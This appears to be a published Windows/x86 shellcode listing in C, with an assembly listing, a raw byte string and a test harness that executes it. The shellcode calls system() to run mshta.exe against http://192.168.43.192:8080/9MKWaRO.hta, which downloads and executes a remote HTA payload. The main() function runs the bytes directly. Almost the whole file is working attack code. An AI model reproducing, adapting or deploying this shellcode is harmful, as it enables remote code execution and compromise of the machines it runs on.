69 lines
No EOL
1.7 KiB
C
69 lines
No EOL
1.7 KiB
C
# Shellcode Title: Windows/x86 Download using mshta.exe Shellcode (100 bytes)
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# Shellcode Author: Siddharth Sharma
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# Shellcode Length: ~100 bytes
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# Tested on: WIN7x86
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# Date: 2020-06-16
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/*
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#Description
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# Simply, instead of using mshta.exe to download file as:
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mshta.exe http://<IP>:<port>/<file_name.hta> ,
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# We could use below shellcode that does the same.
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=============================
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xor eax, eax ;clear eax,get msvcrt.dll
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mov ax, 0x7472 ;"tr\0\0"
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push eax
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push dword 0x6376736d ;cvsm
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push esp
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mov ebx,0x77e3395c ;call LoadLibraryA
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call ebx
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mov ebp,eax ;msvcrt.dll is saved in ebp
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;mshta.exe http://192.168.43.192:8080/9MKWaRO.hta
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xor eax,eax
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PUSH eax
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PUSH 0x6174682e ;".hta"
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PUSH 0x4f526157 ;"WaRO"
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PUSH 0x4b4d392f ;"/9MK"
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PUSH 0x38303830 ;"8080"
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PUSH 0x3a323931 ;"192:"
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PUSH 0x2e33342e ;".43."
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PUSH 0x3836312e ;".168"
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PUSH 0x3239312f ;"/192"
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PUSH 0x2f3a7074 ;"tp:/"
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PUSH 0x74682065 ;"e ht"
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PUSH 0x78652e61 ;"a.ex"
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PUSH 0x7468736d ;"msht"
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MOV EDI,ESP ;adding a pointer to the stack
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PUSH EDI
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Mov eax,0x6ffab16f ;call System
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call eax
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xor eax, eax
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push eax
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mov eax, 0x77e3214f ;call ExitProcess
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call eax
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=====================================
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*/
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char code[] = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xe3\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x2e\x68\x74\x61\x68\x57\x61\x52\x4f\x68\x2f\x39\x4d\x4b\x68\x30\x38\x30\x38\x68\x31\x39\x32\x3a\x68\x2e\x34\x33\x2e\x68\x2e\x31\x36\x38\x68\x2f\x31\x39\x32\x68\x74\x70\x3a\x2f\x68\x65\x20\x68\x74\x68\x61\x2e\x65\x78\x68\x6d\x73\x68\x74\x89\xe7\x57\xb8\x6f\xb1\xfa\x6f\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xe3\x77\xff\xd0";
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int main(int argc, char **argv)
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{
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int(*func)();
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func = (int(*)()) code;
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(int)(*func)();
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} |